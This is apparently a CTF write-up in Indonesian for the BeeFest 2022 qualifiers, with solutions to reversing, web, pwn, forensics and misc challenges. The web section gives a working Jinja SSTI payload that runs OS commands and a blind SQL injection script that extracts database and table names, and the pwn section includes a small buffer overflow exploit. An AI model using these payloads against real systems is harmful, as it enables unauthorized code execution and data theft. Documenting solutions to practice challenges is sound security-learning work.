BeeFest 2022 Quals
BeeFest 2022 Quals
adzky
Rev - Beefest Article
setelah dibuka ternyata berisi cerita panjang. Pertama coba cari dengan kata kunci
“FLAG/flag/BEECTF”, tetapi tidak menghasilkan apa”. Setelah cek deskripsi ternyata
terdapat kata kunci “pesan”, yaudah langsung cari aja
Flag : BEECTF{C0ngrat5th1s15tH5mEsSaGEad23ikf29}
Rev - Too Easy
Oke, pada decompile sudah muncul flagnya tinggal urutkan sesuai index
Flag : BEECTF{sUp3R_3z_R3v!!!}
Rev - MyPazzword
Diberikan file elf executable yang diharuskan untuk menginput password sebanyak 8
char untuk mendapatkan flag
VAL4 cukup simple tentunya VAL yang lain juga. Langsung saja solve menggunakan
z3 karena z3 akan mengkalkulasi persamaan tersebut secara instant ketimbang kita
manual menghitung
1. from z3 import *
2.
3. s = Solver()
4.
5. x = [BitVec(f'x{i}',8) for i in range(8)]
6.
7. for i in range(8):
8. s.add(Or(And(x[i] >= 65, x[i] <=90), And(x[i] >= 97, x[i] <= 122)))
9.
10. s.add(And(x[0] > 0x4c, x[0] < 0x4e))
11. s.add(0x64 + 0xc + 5== x[1])
12. s.add((((0x000013f8 + (0x00000ce3 * 2 - 0x0000240f)) - 0x00000ebc) + 0x1bfa) -
x[2] == 0x000016a9)
13. s.add( (0x000bdc4a / 10 + 0x0001f7b4 / 2 + 0x0003a612 / 2 + 0x0001f7b4 +
0x0003a612+ 0x000bdc4a) - (x[2] + x[3]) == 0x0015790f )
14. s.add((x[0] + x[4] + x[1]) == ord('*') )
15. s.add( (x[4] * x[5]) ^ 0x00000ebc ^ 0x00000ce3 == 0x227 )
16. s.add( ((x[6] * -0x60) ^ 0x000d54f0 ^ 0x0001f7b4 ^ 0x000bdc4a) * (0x000d54f0 -
((x[6] * -0x60) ^ 0x000d54f0 ^ 0x0001f7b4 ^ 0x000bdc4a)) == 0xd63944dc)
17. s.add( ((x[2] * x[0] + x[7]) ^ (0x00000ebc + ((0x0000240f + 0x00000ce3) -
0x000013f8)) - 0x000016a9 ^ (0x0001f7b4 + 0x0003a612) - 0x000bdc4a * 1)
==0x00062b93)
18.
19. char = ""
20. if s.check() == sat:
21. m = s.model()
22. for i in x:
23. char += chr(m[i].as_long())
24. print(char)
Dapat link google drive setelah di decode, didalamnya terdapat file wav. Setelah
didengar ini mirip seperti morse code, coba di convert
Dapat plaintext yaitu J A N G A N B O L O S P R A M U K A
Flag : BEECTF{JANGANBOLOSPRAMUKA}
Web - iDoor
Diberikan service web sebagai berikut
Flag : BEECTF{0fc_1ts_s0_0bv10us_1z1_34592949031}
hanya gambar produk kopi dan tidak apa” didalamnya. Namun terdapat satu page yg
kita bisa menginputkan feedback
Sesuai judul saya berpikir ini adalah python web app menggunakan template jinja
setelah itu saya kepikiran untuk menggunakan cara pada challenge compfest
kemarin yaitu {%print(1)%} dan ternyata berhasil
Langsung saja panggil library lipsum untuk bypass dengan penambahan attribute
__global__ untuk memanggil semua library yang ada
{%print(lipsum|attr("__globals__")).os.popen("ls").read()%}
Dan berhasil mendapat RCE. Namun tidak terdapat file flag, coba buka file ssti.py
Dapat FLAG : BEECTF{3s_3s_t1_a1_Gg3Z_h3h3_g12l2bi30l}
Oke sepertinya challenge ini berfokus pada blind sqli karena ketika kita
memasukkan statement true web seakan” tidak menghasilkan output
Setelah dicoba” ternyata kita bisa mengetahui statement true atau tidak jika muncul
banyak random user
Oke kita bisa leak database satu” dilanjutkan dengan nama table dan kolom untuk
mengetahui flag dan setelahnya tinggal kita panggil
1. import sys
2. import string
3. import time
4.
5. url = 'http://chall.petircysec.xyz:54170/api/test.php'
6. c = {"PHPSESSID":"5310caeb8bb42b105f5b68b9fb8b05cb"}
7. head = {"Content-Type":"application/x-www-form-urlencoded"}
8. char = string.ascii_lowercase + string.ascii_uppercase + string.digits
9.
10. def db():
11. pos = 1
12. while 1:
13. for j in char:
14. payload = f'asdasd\' or binary substr(database(),{pos},1)=\'{j}\'-- '
15. data = {"username": payload}
16. time.sleep(0.5)
17. r = requests.post(url, data=data, headers=head,cookies=c,timeout=5)
18. if "ktersay1" in r.text:
19. print(j)
20. pos += 1
1. def table():
2. pos = 1
3. while 1:
4. for j in char:
5. pay = f'asdasd\' or binary substr((select table_name from
information_schema.tables where table_schema=\'seeqWellDB\' limit 1 offset
0),{i},1)=\'{j}\'-- '
6. data = {"username": pay}
7. time.sleep(0.5)
8. r = requests.post(url, data=data,
headers=head,cookies=c,timeout=5)
9. if "ktersay1" in r.text:
10. print(j)
11. pos += 1
Flag : BEECTF{4lw4ys_pAr53_User_1NpU7s_bE5E4ExP}
Note: Jika koneksi ter reset oleh server, coba tingkatkan timeout atau sleep (wafnya
sangat ganas)
Pwn - abcd
Diberikan file zip didalamnya tedapat file elf dan file c:
Source code pwn cukup simple tinggal overwrite sebanyak 8 char + hex 0x21 atau
33 dalam desimal
Berikut solve script:
1. from pwn import *
2.
3. p = remote('chall.petircysec.xyz',56789)
4. pay = b'a' * 8 + b'\x21'
5. p.sendlineafter(b": ", pay)
6. p.interactive()
Flag : BEECTF{AbcD_d0nt_Forg37_413out_ASCI1}
Diberikan link gdrive untuk mendownload file dan juga service sebagai berikut
Terdapat file c, elf, dan flag
Terlihat bahwa program memiliki 4 opsi :
- Opsi 1 yaitu kita dapat memasukkan angka bebas dan angka tersebut akan
masuk ke balance kita.
- Opsi 2 mengurangi balance kita
- Opsi 3 beli flag dengan harga sebesar 100000000$
- Opsi 4 exit
Secara opsi 1 tidak terdapat filter apapun, kita dapat memasukkan angka sebanyak
yg kita mau melebihi harga flag
Flag : BEECTF{This_1s_0ur_5pec1al_M3NU}
For - Corrupted
Flag : BEECTF{yes_chunk_indeed}
dibuka di audacity
Flag : BEECTF{n0W_Y0u_s3E_m3}
Misc - Transaction
Challenge kali ini yaitu tentang BTC, setelah di cek pada address berikut terdapat 2
transaksi dan yang benar terdapat pada address yang tlah bertransaksi sebesar 557
BTC
Flag : BTC{1PedixBEkHdowXfn2hgwu8h64jAa3sNNr2}